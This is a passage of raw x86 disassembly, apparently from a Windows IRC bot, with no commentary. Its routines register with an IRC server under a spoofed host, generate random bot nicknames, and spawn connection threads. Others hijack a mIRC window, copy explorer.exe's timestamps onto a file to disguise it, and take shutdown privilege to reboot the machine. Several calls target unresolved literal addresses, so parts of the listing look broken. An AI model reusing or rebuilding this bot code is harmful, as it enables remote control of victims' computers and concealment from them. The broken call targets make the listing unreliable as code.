		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D98BC[esi]
		call	dword_4D0874
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch

loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D98BC[esi]
		call	dword_4D083C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996

loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------

loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D98BC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------

loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D98B8[esi], ebx
		mov	esi, dword_4D98BC[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4D08BC

loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8

loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D98B8

loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DFFD8
		jl	short loc_417A78

loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D98C4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D9AC4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D98B8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71

loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_43D7E0[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------

loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_43D4E0[edx*4]

loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3

loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D

loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_43D7E0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch

loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC

loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------

loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC

loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------

loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi

loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------

loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8

loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------

loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h

loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi

loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx

loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------

loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax

loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------

loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7

loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2

loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0

loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1

loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]

loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4

loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch

loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx

loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi

loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx

loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A

loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx

loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA

loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------

loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------

loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 268086Bh
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27E0000h
		nop
		lea	eax, [ebp+var_100]

loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194

loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------

loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194

loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DFFDC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4D07F4
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4D0814
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 27F0627h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27F0000h
		call	dword_4D0878
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4D0830
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 2800197h
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 2800000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4D0880
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4D0880
		push	ebx
		call	near ptr 27F0C36h
		nop
		push	edi
		call	near ptr 26608ABh
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax

loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4D08E0
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2810000h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 28007DBh
		push	esi
		call	ebx

loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4D0764
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4D08F4, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx

loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
